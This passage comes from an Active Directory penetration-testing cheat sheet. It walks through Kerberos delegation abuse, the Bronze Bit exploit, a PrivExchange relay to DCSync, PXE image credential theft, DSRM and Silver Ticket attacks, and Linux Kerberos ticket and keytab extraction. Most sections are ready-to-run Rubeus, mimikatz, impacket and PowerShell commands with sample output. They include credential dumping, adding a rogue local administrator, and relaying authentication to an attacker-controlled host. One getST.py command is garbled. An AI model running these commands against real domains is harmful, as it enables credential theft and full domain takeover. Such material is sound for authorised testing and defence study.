  $ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
  $ dir \\dc.domain.com\c$
  ```

#### Impersonate a domain user on a resource

Require:
* SYSTEM level privileges on a machine configured with constrained delegation

```ps1
PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$
```

### Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012. 

> The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B.  https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

1. Import **Powermad** and **Powerview**

    ```powershell
    PowerShell.exe -ExecutionPolicy Bypass
    Import-Module .\powermad.ps1
    Import-Module .\powerview.ps1
    ```

2. Get user SID

    ```powershell
    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
    $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
    $ACE
    ConvertFrom-SID $ACE.SecurityIdentifier
    ```

3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it

    ```powershell
    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
    ```

4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties

    ```powershell
    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
    $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
    $Descriptor.DiscretionaryAcl
    ```

    ```ps1
    # alternative
    $SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

    # alternative
    StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
    ```

5. Use Rubeus to get hash from password

    ```powershell
    Rubeus.exe hash /password:'Weakest123*' /user:swktest$  /domain:factory.lan
    [*] Input password             : Weakest123*
    [*] Input username             : swktest$
    [*] Input domain               : factory.lan
    [*] Salt                       : FACTORY.LANswktest
    [*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD
    [*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
    [*]       aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
    [*]       des_cbc_md5          : BA297CFD07E62A5E
    ```

6. Impersonate domain admin using our newly created machine account

    ```powershell
    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
    .\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap

    [*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
    [*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
    [*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
    [*] Sending S4U2proxy request
    [+] S4U2proxy success!
    [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':

        doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
        AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
        LmZhY3RvcnkubGFu

    [*] Action: Import Ticket
    [+] Ticket successfully imported!
    ```

### Kerberos Bronze Bit Attack - CVE-2020-17049

> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.

> Patch is out on November 10, 2020, DC are most likely vulnerable until [February 2021](https://support.microsoft.com/en-us/help/4598347/managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049).

:warning: Patched Error Message : `[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)`

Requirements:
* Service account's password hash 
* Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation`
* [Impacket PR #1013](https://github.com/SecureAuthCorp/impacket/pull/1013) 

**Attack #1** - Bypass the `Trust this user for delegation to specified services only – Use Kerberos only` protection and impersonate a user who is protected from delegation.

```powershell
# forwardable flag is only protected by the ticket encryption which uses the service account's password 
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable

$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

# Access "c$"
ls \\service2.test.local\c$
```

**Attack #2** - Write Permissions to one or more objects in the AD

```powershell
# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit

# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

# Execute the attack
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
```

### PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.    
:warning: You need a shell on a user account with a mailbox.


1. Exchange server hostname or IP address

    ```bash 
    pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
    ```


2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

    ```powershell
    ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
    ```


3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

    ```bash
    # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
    python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
    python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
    
    # https://github.com/G0ldenGunSec/PowerPriv 
    powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
    ```

4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

    ```bash
    python secretsdump.py xxxxxxxxxx -just-dc
    python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
    ```

5. Clean your mess and restore a previous state of the user's ACL

    ```powershell
    python aclpwn.py --restore ../aclpwn-20190319-125741.restore
    ```

Alternatively you can use the Metasploit module 

[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)

Alternatively you can use an all-in-one tool : Exchange2domain.

```powershell
git clone github.com/Ridter/Exchange2domain 
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
```

### PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine.
- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

    ```powershell
    net user hacker Password123! /add
    net localgroup administrators /add hacker
    ```

- Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

    ```powershell
    # Import the module
    PS > Import-Module .\PowerPXE.ps1

    # Start the exploit on the Ethernet interface
    PS > Get-PXEcreds -InterfaceAlias Ethernet
    PS > Get-PXECreds -InterfaceAlias « lab 0 » 

    # Wait for the DHCP to get an address
    >> Get a valid IP address
    >>> >>> DHCP proposal IP address: 192.168.22.101
    >>> >>> DHCP Validation: DHCPACK
    >>> >>> IP address configured: 192.168.22.101

    # Extract BCD path from the DHCP response
    >> Request BCD File path
    >>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
    >>> >>> TFTP IP Address:  192.168.22.3

    # Download the BCD file and extract wim files
    >> Launch TFTP download
    >>>> Transfer succeeded.
    >> Parse the BCD file: conf.bcd
    >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
    >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
    >> Launch TFTP download
    >>>> Transfer succeeded.

    # Parse wim files to find interesting data
    >> Open LiteTouchPE_x86.wim
    >>>> Finding Bootstrap.ini
    >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
    >>>> >>>> UserID = MdtService
    >>>> >>>> UserPassword = Somepass1
    ```

### DNS Reconnaissance

Perform ADIDNS searches

```powershell
StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
```

### DSRM Credentials

> Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

```ps1
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior 

# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD 

# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
```

### Impersonating Office 365 Users on Azure AD Connect

Prerequisites: 

* Obtain NTLM password hash of the AZUREADSSOACC account
    ```powershell
    mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
    ```

* AAD logon name of the user we want to impersonate (userPrincipalName or mail)
    ```powershell
    elrond@contoso.com
    ```

* SID of the user we want to impersonate
    ```powershell
    S-1-5-21-2121516926-2695913149-3163778339-1234
    ```


Create the Silver Ticket and inject it into Kerberos cache:
```powershell
mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
```

Launch Mozilla Firefox, go to about:config
```powershell
network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".
```

Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.


## Linux Active Directory

### CCACHE ticket reuse from /tmp

> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. 

```powershell
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

$ export KRB5CCNAME=/tmp/krb5cc_1569901115
```


### CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey

```powershell
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
```

### CCACHE ticket reuse from SSSD KCM

SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. 
The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. 
By default, the key is only readable if you have **root** permissions.

Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets.

```powershell
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```

The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.


### CCACHE ticket reuse from keytab

```powershell
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```

### Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure. 

Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23  is the actual NT Hash of the user.

```powershell
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
	 KVNO: 25
	 Key type: 23
	 Key: 31d6cfe0d16ae931b73c59d7e0c089c0
	 Time stamp: Oct 07,  2019 09:12:02
[...]
```

On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.

```powershell
$ python3 keytabextract.py krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```

On macOS you can use `bifrost`.

```powershell
./bifrost -action dump -source keytab -path test
```

Connect to the machine using the account and the hash with CME.

```powershell
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0  
```

## References

* [Explain like I’m 5: Kerberos - Apr 2, 2013 - @roguelynn](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)
* [Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter](#https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
* [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin)
* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf)
* [Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid](https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence)
* [Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling](https://blog.netspi.com/attacks-against-windows-pxe-boot-images/)
* [BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x](https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/)
* [Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh](https://chryzsh.gitbooks.io/darthsidious/content/building-a-lab/building-a-lab/building-a-small-lab.html)
* [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf)
* [COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger ](https://connect.ed-diamond.com/MISC/MISC-103/Compromission-des-postes-de-travail-grace-a-LAPS-et-PXE)
* [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf)
* [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
* [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/)
* [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
* [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/)
* [Exploiting PrivExchange - April 11, 2019 - @chryzsh](https://chryzsh.github.io/exploiting-privexchange/)
* [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/)
* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
* [How Attackers Use Kerberos Silver Tickets to Exploit Systems - Sean Metcalf](https://adsecurity.org/?p=2011)
* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
* [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
* [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/)
* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
* [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1)
* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/)
* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)
* [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/)
* [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
* [Pen Testing Active Directory Environments - Part III:  Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
* [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
* [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
* [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
* [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/)
* [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/)
* [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/)
* [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/)
* [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html)
* [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)
* [WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/)
* [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y](http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/)
* [Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory -  Sean Metcalf](https://adsecurity.org/?p=3592)
* [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/)
* [Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon](https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-slides.pdf)
* [Playing with Relayed Credentials - June 27, 2018](https://www.secureauth.com/blog/playing-relayed-credentials)
* [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/)
* [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](https://blog.preempt.com/drop-the-mic)
* [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https:/www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/)
* [SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX](pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/)
* [Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
* [A Red Teamer’s Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0](https://wald0.com/?p=179)
* [Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf](https://www.dropbox.com/s/ilzjtlo0vbyu1u0/Carlos%20Garcia%20-%20Rooted2019%20-%20Pentesting%20Active%20Directory%20Forests%20public.pdf?dl=0)
* [Kerberosity Killed the Domain: An Offensive Kerberos Overview - Ryan Hausknecht - Mar 10](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
* [Active-Directory-Exploitation-Cheat-Sheet - @buftas](https://github.com/buftas/Active-Directory-Exploitation-Cheat-Sheet#local-privilege-escalation)
* [GPO Abuse - Part 1 - RastaMouse - 6 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-1/)
* [GPO Abuse - Part 2 - RastaMouse - 13 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-2/)
* [Abusing GPO Permissions - harmj0y - March 17, 2016](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/)
* [How To Attack Kerberos 101 - m0chan - July 31, 2019](https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html)
* [ACE to RCE - @JustinPerdok - July 24, 2020](https://sensepost.com/blog/2020/ace-to-rce/)
* [Zerologon:Unauthenticated domain controller compromise by subverting Netlogon cryptography (CVE-2020-1472) - Tom Tervoort, September 2020](https://www.secura.com/pathtoimg.php?id=2055)
* [Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs](https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-aces)
* [CVE-2020-17049: Kerberos Bronze Bit Attack – Practical Exploitation - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/)
* [CVE-2020-17049: Kerberos Bronze Bit Attack – Theory - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/)
* [Kerberos Bronze Bit Attack (CVE-2020-17049) Scenarios to Potentially Compromise Active Directory](https://www.hub.trimarcsecurity.com/post/leveraging-the-kerberos-bronze-bit-attack-cve-2020-17049-scenarios-to-compromise-active-directory)
* [GPO Abuse: "You can't see me" - Huy Kha -  July 19, 2019](https://pentestmag.com/gpo-abuse-you-cant-see-me/)
* [Lateral movement via dcom: round 2 - enigma0x3 - January 23, 2017](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
* [New lateral movement techniques abuse DCOM technology - Philip Tsukerman - Jan 25, 2018](https://www.cybereason.com/blog/dcom-lateral-movement-techniques)
* [Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell](https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html)
* [AD CS relay attack - practical guide - 23 Jun 2021 - @exandroiddev](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/)
* [Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - Jun 17](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
* [Playing with PrintNightmare - 0xdf - Jul 8, 2021](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html)
* [Attacking Active Directory: 0 to 0.9 - Eloy Pérez González - 2021/05/29](https://zer1t0.gitlab.io/posts/attacking_ad/)
